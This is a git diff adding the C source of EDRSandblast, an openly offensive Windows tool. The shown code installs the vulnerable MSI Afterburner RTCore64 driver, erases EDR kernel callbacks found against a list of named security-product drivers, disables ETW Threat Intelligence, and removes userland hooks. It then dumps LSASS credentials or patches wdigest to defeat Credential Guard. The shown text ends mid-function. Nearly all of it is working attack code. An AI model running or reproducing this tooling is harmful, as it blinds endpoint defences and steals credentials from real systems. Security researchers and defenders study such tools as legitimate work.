_T("mbamwatchdog.sys"), + // Microsoft Defender + _T("MpKslDrv.sys"), + // Palo Alto Networks - Cortex XDR + _T("cyverak.sys"), + _T("cyvrlpc.sys"), + _T("cyvrmtgn.sys"), + _T("tdevflt.sys"), + // Raytheon Cyber Solutions + _T("eaw.sys"), + // Symantec + _T("vxfsrep.sys"), + _T("VirtFile.sys"), + _T("SymAFR.sys"), + _T("symefasi.sys"), + _T("symefa.sys"), + _T("symefa64.sys"), + _T("SymHsm.sys"), + _T("evmf.sys"), + _T("GEFCMP.sys"), + _T("VFSEnc.sys"), + _T("pgpfs.sys"), + _T("fencry.sys"), + _T("symrg.sys"), + // Verdasys Inc + _T("ndgdmk.sys") + /* + * Invoke-EDRCheck.ps1 - END + */ +}; + +BOOL isDriverEDR(TCHAR* driver) { + for (int i = 0; i < _countof(EDR_DRIVERS); ++i) { + if (_tcscmp(driver, EDR_DRIVERS[i]) == 0) { + return TRUE; + } + } + return FALSE; +} + +void OperateNotifyRoutines(DWORD64 NotifyRoutineAddress, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL remove, BOOL verbose) { + HANDLE Device = GetDriverHandle(); + + int CurrentEDRDriversCount = 0; + for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { + DWORD64 callback_struct = ReadMemoryDWORD64(Device, NotifyRoutineAddress + (i * sizeof(DWORD64))); + if (callback_struct != 0) { + DWORD64 callback = (callback_struct & ~0b1111) + 8; + DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback); + TCHAR* driver = FindDriver(cbFunction, verbose); + + if (driver && isDriverEDR(driver)) { + DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); + + struct KRNL_CALLBACK newFoundDriver = { 0 }; + newFoundDriver.driver = driver; + newFoundDriver.callback_addr = callback_addr; + newFoundDriver.callback_struct = callback_struct; + newFoundDriver.callback_func = cbFunction; + + if (!remove) { + if (verbose) { + _tprintf(TEXT("[+] Found EDR driver callback: \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + driver, callback_addr, callback_struct, cbFunction); + } + newFoundDriver.removed = FALSE; + } + else { + if (verbose) { + _tprintf(TEXT("[+] Removing EDR driver callback: \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + driver, callback_addr, callback_struct, cbFunction); + } + WriteMemoryDWORD64(Device, callback_addr, 0x0000000000000000); + newFoundDriver.removed = TRUE; + } + edrDrivers->EDR_CALLBACKS[edrDrivers->index + CurrentEDRDriversCount] = newFoundDriver; + CurrentEDRDriversCount++; + } + } + } + edrDrivers->index = edrDrivers->index + CurrentEDRDriversCount; + if (CurrentEDRDriversCount == 0) { + _tprintf(TEXT("[+] No EDR driver(s) found!\n")); + } + else if (remove) { + _tprintf(TEXT("[+] Removed a total of %i EDR driver(s)\n"), CurrentEDRDriversCount); + } + else { + _tprintf(TEXT("[+] Found a total of %i EDR driver(s)\n"), CurrentEDRDriversCount); + } + + CloseHandle(Device); +} + +void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers) { + HANDLE Device = GetDriverHandle(); + + for (DWORD i = 0; i < edrDrivers->index; ++i) { + if (edrDrivers->EDR_CALLBACKS[i].removed == TRUE) { + _tprintf(TEXT("[+] Restoring callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + edrDrivers->EDR_CALLBACKS[i].driver, + edrDrivers->EDR_CALLBACKS[i].callback_addr, + edrDrivers->EDR_CALLBACKS[i].callback_struct, + edrDrivers->EDR_CALLBACKS[i].callback_func); + WriteMemoryDWORD64(Device, edrDrivers->EDR_CALLBACKS[i].callback_addr, edrDrivers->EDR_CALLBACKS[i].callback_struct); + } + } + + CloseHandle(Device); +} + +/* + +------ Process (PspCreateProcessNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspCreateProcessNotifyRoutineAddress(void) { + DWORD64 NtoskrnlBaseAddress = FindNtoskrnlBaseAddress(); + DWORD64 PspCreateProcessNotifyRoutineOffset = ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine; + DWORD64 PspCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PspCreateProcessNotifyRoutineOffset; + return PspCreateProcessNotifyRoutineAddress; +} + +void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating process creation callbacks\n")); } + _tprintf(TEXT("[+] PspCreateProcessNotifyRoutine: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); + OperateNotifyRoutines(PspCreateProcessNotifyRoutineAddress, edrDrivers, FALSE, verbose); +} + +void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR process creation callbacks\n")); } + _tprintf(TEXT("[+] PspCreateProcessNotifyRoutine: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); + OperateNotifyRoutines(PspCreateProcessNotifyRoutineAddress, edrDrivers, TRUE, verbose); +} + +/* + +------ Thread (PspCreateThreadNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspCreateThreadNotifyRoutineAddress(void) { + DWORD64 NtosKrnlbaseAddress = FindNtoskrnlBaseAddress(); + DWORD64 PspCreateThreadNotifyRoutineOffset = ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine; + DWORD64 PspCreateThreadNotifyRoutineAddress = NtosKrnlbaseAddress + PspCreateThreadNotifyRoutineOffset; + return PspCreateThreadNotifyRoutineAddress; +} + +void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating threads creation callbacks\n")); } + _tprintf(TEXT("[+] PspCreateThreadNotifyRoutine: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); + OperateNotifyRoutines(PspCreateThreadNotifyRoutineAddress, edrDrivers, FALSE, verbose); +} + +void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR threads creation callbacks\n")); } + _tprintf(TEXT("[+] PspCreateThreadNotifyRoutine: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); + OperateNotifyRoutines(PspCreateThreadNotifyRoutineAddress, edrDrivers, TRUE, verbose); +} + +/* + +------ Image loading (PspLoadImageNotifyRoutine) callbacks. + +*/ + +DWORD64 GetPspLoadImageNotifyRoutineAddress(void) { + DWORD64 NtoskrnlBaseAddress = FindNtoskrnlBaseAddress(); + DWORD64 PspLoadImageNotifyRoutineOffset = ntoskrnlOffsets.st.pspLoadImageNotifyRoutine; + DWORD64 PspLoadImageNotifyRoutineAddress = NtoskrnlBaseAddress + PspLoadImageNotifyRoutineOffset; + return PspLoadImageNotifyRoutineAddress; +} + +void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating image loading callbacks\n")); } + _tprintf(TEXT("[+] PspLoadImageNotifyRoutine: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); + OperateNotifyRoutines(PspLoadImageNotifyRoutineAddress, edrDrivers, FALSE, verbose); +} + +void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 PspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutineAddress(); + if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR image loading callbacks\n")); } + _tprintf(TEXT("[+] PspLoadImageNotifyRoutine: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); + OperateNotifyRoutines(PspLoadImageNotifyRoutineAddress, edrDrivers, TRUE, verbose); +} + +/* + +------ Generic callbacks manipulation. + +*/ + +const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") }; +const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") }; + +DWORD64 GetPsp_X_NotifyRoutineAddress(enum NtoskrnlOffsetType nrt) { + DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress(); + DWORD64 Psp_X_NotifyRoutineOffset = ntoskrnlOffsets.ar[nrt]; + DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset; + return Psp_X_NotifyRoutineAddress; +} + +void EnumPsp_X_NotifyRoutine(enum NtoskrnlOffsetType nrt, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 Psp_X_NotifyRoutineAddress = GetPsp_X_NotifyRoutineAddress(nrt); + if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating %s callbacks\n"), notifyRoutineTypeStrs[nrt]); } + _tprintf(TEXT("[+] Psp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[nrt], Psp_X_NotifyRoutineAddress); + OperateNotifyRoutines(Psp_X_NotifyRoutineAddress, edrDrivers, FALSE, verbose); +} + +void RemoveEDR_X_Callbacks(enum NtoskrnlOffsetType nrt, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + DWORD64 Psp_X_NotifyRoutineAddress = GetPsp_X_NotifyRoutineAddress(nrt); + if (verbose == TRUE) { _tprintf(TEXT("[+] Removing %s callbacks\n"), notifyRoutineTypeStrs[nrt]); } + _tprintf(TEXT("[+] Psp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[nrt], Psp_X_NotifyRoutineAddress); + OperateNotifyRoutines(Psp_X_NotifyRoutineAddress, edrDrivers, TRUE, verbose); +} + +/* + +------ All EDR Kernel callbacks enumeration / removal. + +*/ + +void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + EnumPsp_X_NotifyRoutine(CREATE_PROCESS_ROUTINE, edrDrivers, verbose); + EnumPsp_X_NotifyRoutine(CREATE_THREAD_ROUTINE, edrDrivers, verbose); + EnumPsp_X_NotifyRoutine(LOAD_IMAGE_ROUTINE, edrDrivers, verbose); +} + +void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { + RemoveEDR_X_Callbacks(CREATE_PROCESS_ROUTINE, edrDrivers, verbose); + RemoveEDR_X_Callbacks(CREATE_THREAD_ROUTINE, edrDrivers, verbose); + RemoveEDR_X_Callbacks(LOAD_IMAGE_ROUTINE, edrDrivers, verbose); +} \ No newline at end of file diff --git a/EDRSandblast/EDRSandBlast.h b/EDRSandblast/EDRSandBlast.h new file mode 100644 index 0000000..71368ef --- /dev/null +++ b/EDRSandblast/EDRSandBlast.h @@ -0,0 +1,34 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "CredGuard.h" +#include "DriverOps.h" +#include "ETWThreatIntel.h" +#include "FileVersion.h" +#include "KernelCallbacks.h" +#include "KernelMemoryPrimitives.h" +#include "KernelPatternSearch.h" +#include "LSASSDump.h" +#include "NtoskrnlOffsets.h" +#include "RunAsPPL.h" +#include "WdigestOffsets.h" +#include "UserlandHooks.h" + +#define SERVICE_NAME_LENGTH 8 + +typedef enum _START_MODE { + dump, + cmd, + credguard, + audit +} START_MODE; \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.c b/EDRSandblast/EDRSandblast.c new file mode 100644 index 0000000..134157f --- /dev/null +++ b/EDRSandblast/EDRSandblast.c @@ -0,0 +1,515 @@ +#include "EDRSandBlast.h" + +/* + +--- Execution entry point. + +*/ + +static TCHAR* randString(TCHAR* str, size_t size) +{ + const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; + if (size) { + --size; + for (size_t n = 0; n < size; n++) { + int key = rand() % (int)(sizeof charset - 1); + str[n] = charset[key]; + } + str[size] = '\0'; + } + return str; +} + +const TCHAR *gVulnDriverServiceName = TEXT("RTCore64"); + +// TCHAR* gVulnDriverServiceName; + +int _tmain(int argc, TCHAR** argv) { + // Parse command line arguments and initialize variables to default values if needed. + const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver ] [--nt-offsets ] [--wdigest-offsets ] [-o | --dump-output ]"); + const TCHAR extendedUsage[] = TEXT("\n\ +-h | --help Show this help message and exit.\n\ +-v | --verbose Enable a more verbose output.\n\ +\n\ +Actions mode:\n\ +\n\ +\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\ +\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\ +\t specified file using -o | --output .\n\ +\tcmd Open a cmd.exe prompt.\n\ +\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\ +\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\ +\n\ +--usermode Perform user-land operations (DLL unhooking).\n\ +--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\ +\n\ +--unhook-method \n Choose the userland un-hooking technique, from the following: \n\ +\n\ +\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\ +\t present userland hooks.\n\ +\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\ +\t allocating an executable trampoline jumping over the hook, and remove all present\n\ +\t userland hooks.\n\ +\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\ +\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\ +\t hooks.\n\ +\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\ +\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\ +\t present userland hooks.\n\ +\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\ +\t and uses it to remove all detected hooks\n\ +\n\ +Other options:\n\ +\n\ +--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\ + Default to automatically unsinstall the driver.\n\ +--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\ + Default to restore the callbacks.\n\ +\n\ +--driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ + Default to 'RTCore64.sys' in the current directory.\n\ +\n\ +--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ + Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ +--wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\ + (only for the 'credguard' mode).\n\ + Default to 'WdigestOffsets.csv' in the current directory.\n\ +\n\ +-o | --output Output path to the dump file that will be generated by the 'dump' mode.\n\ + Default to 'lsass' in the current directory.\n"); + BOOL status; + TCHAR currentFolderPath[MAX_PATH] = { 0 }; + GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath); + + if (argc < 2) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + + START_MODE startMode; + if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; } + else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; } + else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; } + else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; } + else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) { + _tprintf(TEXT("%s\n"), usage); + _tprintf(TEXT("%s\n"), extendedUsage); + return EXIT_SUCCESS; + } + else { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + + TCHAR driverPath[MAX_PATH * 2] = { 0 }; + TCHAR driverDefaultName[] = TEXT("RTCore64.sys"); + TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 }; + TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 }; + TCHAR outputPath[MAX_PATH * 2] = { 0 }; + BOOL verbose = FALSE; + BOOL removeVulnDriver = TRUE; + BOOL restoreCallbacks = TRUE; + BOOL userMode = FALSE; + enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY; + BOOL kernelMode = FALSE; + int lpExitCode = EXIT_SUCCESS; + struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL; + struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL; + BOOL ETWTIState = FALSE; + hook* hooks = NULL; + + /* + gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR)); + randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH); + */ + + for (int i = 2; i < argc; i++) { + if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { + _tprintf(TEXT("%s\n"), usage); + _tprintf(TEXT("%s\n"), extendedUsage); + return EXIT_SUCCESS; + } + else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) { + verbose = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) { + userMode = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) { + kernelMode = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) { + removeVulnDriver = FALSE; + } + else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) { + restoreCallbacks = FALSE; + } + else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + unhook_method = _ttoi(argv[i]); + } + else { + _tprintf(TEXT("%s"), usage); + return 1; + } + } + + // Command line option consistency checks + if (startMode == cmd && !kernelMode) { + _tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n")); + return EXIT_FAILURE; + } + if (!userMode && !kernelMode) { + _tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n")); + userMode = TRUE; + } + if (startMode == credguard && !kernelMode) { + _tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); + } + if (startMode == dump && !kernelMode) { + _tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); + } + + BOOL isSafeToExecutePayload = TRUE; + + if (kernelMode) { + if (_tcslen(driverPath) == 0) { + TCHAR separator[] = TEXT("\\"); + _tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator)); + _tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName)); + } + DWORD driverAttrib = GetFileAttributes(driverPath); + if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) { + _tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath); + return EXIT_FAILURE; + } + + if (_tcslen(ntoskrnlOffsetCSVPath) == 0) { + TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv"); + _tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); + } + + // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets. + _tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n")); + ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath); + if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) { + _tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n")); + return EXIT_FAILURE; + } + _tprintf(TEXT("\n\n")); + + // Install the vulnerable driver to have read / write in Kernel memory. + _tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n")); + status = InstallVulnerableDriver(driverPath); + if (status != TRUE) { + _tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n")); + _tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n")); + Sleep(2000); + status = UninstallVulnerableDriver(); + Sleep(2000); + status = status && InstallVulnerableDriver(driverPath); + Sleep(2000); + if (status != TRUE) { + _tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n")); + return EXIT_FAILURE; + } + } + _tprintf(TEXT("\n\n")); + + Sleep(5000); + + // Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS. + _tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n")); + checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!checkEDRDrivers) { + _tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n")); + return EXIT_FAILURE; + } + EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); + if (checkEDRDrivers->index) { + isSafeToExecutePayload = FALSE; + } + + ETWTIState = isETWThreatIntelProviderEnabled(verbose); + _tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); + _tprintf(TEXT("\n\n")); + if (ETWTIState) { + isSafeToExecutePayload = FALSE; + } + } + + if (userMode) { + _tprintf(TEXT("Loaded DLLs in current process:\n")); + hooks = searchHooks(NULL); + _tprintf(TEXT("\n\n")); + + } + + if (startMode != audit) { + if (userMode) { + for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) { + printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method); + unhook(ptr, unhook_method); + } + } + + if (isSafeToExecutePayload) { + _tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n")); + + // Do the operation the tool was started for. + switch (startMode) { + + // Start a process executing cmd.exe. + case cmd: + _tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n") + TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n") + TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n")); + // Find cmd.exe path. + TCHAR systemDirectory[MAX_PATH * 2] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + TCHAR cmdPath[MAX_PATH * 2] = { 0 }; + _tcscat_s(cmdPath, _countof(cmdPath), systemDirectory); + _tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe")); + _tsystem(cmdPath); + break; + + // Dump the LSASS process in a new thread. + case dump: + if (kernelMode) { + _tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n")); + if (ntoskrnlOffsets.st.ps_protection != 0x0) { + SetCurrentProcessAsProtected(verbose); + } + } + + if (_tcslen(outputPath) == 0) { + TCHAR outputName[] = TEXT("\\lsass"); + _tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName)); + } + + _tprintf(TEXT("[+] Attempting to dump LSASS\n")); + HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL); + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + GetExitCodeThread(hThread, (PDWORD)&lpExitCode); + if (lpExitCode != 0) { + _tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n")); + lpExitCode = EXIT_FAILURE; + } + } + else { + _tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n")); + lpExitCode = EXIT_FAILURE; + } + break; + + + // Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory. + case credguard: + if (kernelMode) { + _tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n")); + if (ntoskrnlOffsets.st.ps_protection != 0x0) { + SetCurrentProcessAsProtected(verbose); + } + } + if (_tcslen(wdigestOffsetCSVPath) == 0) { + TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv"); + _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); + } + + wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath); + if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n")); + lpExitCode = EXIT_FAILURE; + } + else { + _tprintf(TEXT("\n\n")); + if (disableCredGuardByPatchingLSASS()) { + _tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n")); + } + else { + _tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n")); + lpExitCode = EXIT_FAILURE; + } + } + break; + } + _tprintf(TEXT("\n\n")); + } + else { + _tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n")); +#ifdef _DEBUG + assert(kernelMode); +#endif + /* + * 1/3 : Removing kernel-based monitoring. + */ + // Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo. + if (ETWTIState) { + DisableETWThreatIntelProvider(verbose); + } + // If kernel callbacks are monitoring processes, we remove them and start a new process. + if (checkEDRDrivers && checkEDRDrivers->index != 0) { + _tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n")); + // Removes EDR drivers callbacks for process / threads creation and image loading. + removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!removedEDRDrivers) { + _tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n")); + return EXIT_FAILURE; + } + _tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n")); + RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose); + _tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n")); + RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose); + _tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n")); + RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose); + _tprintf(TEXT("\n\n")); + + // Checks that EDR drivers were indeed removed and if so, go on with the payload. + _tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n")); + checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!checkEDRDrivers) { + _tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n")); + free(removedEDRDrivers); + return EXIT_FAILURE; + } + EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); + _tprintf(TEXT("\n\n")); + if (checkEDRDrivers->index != 0) { + _tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting...")); + lpExitCode = EXIT_FAILURE; + } + 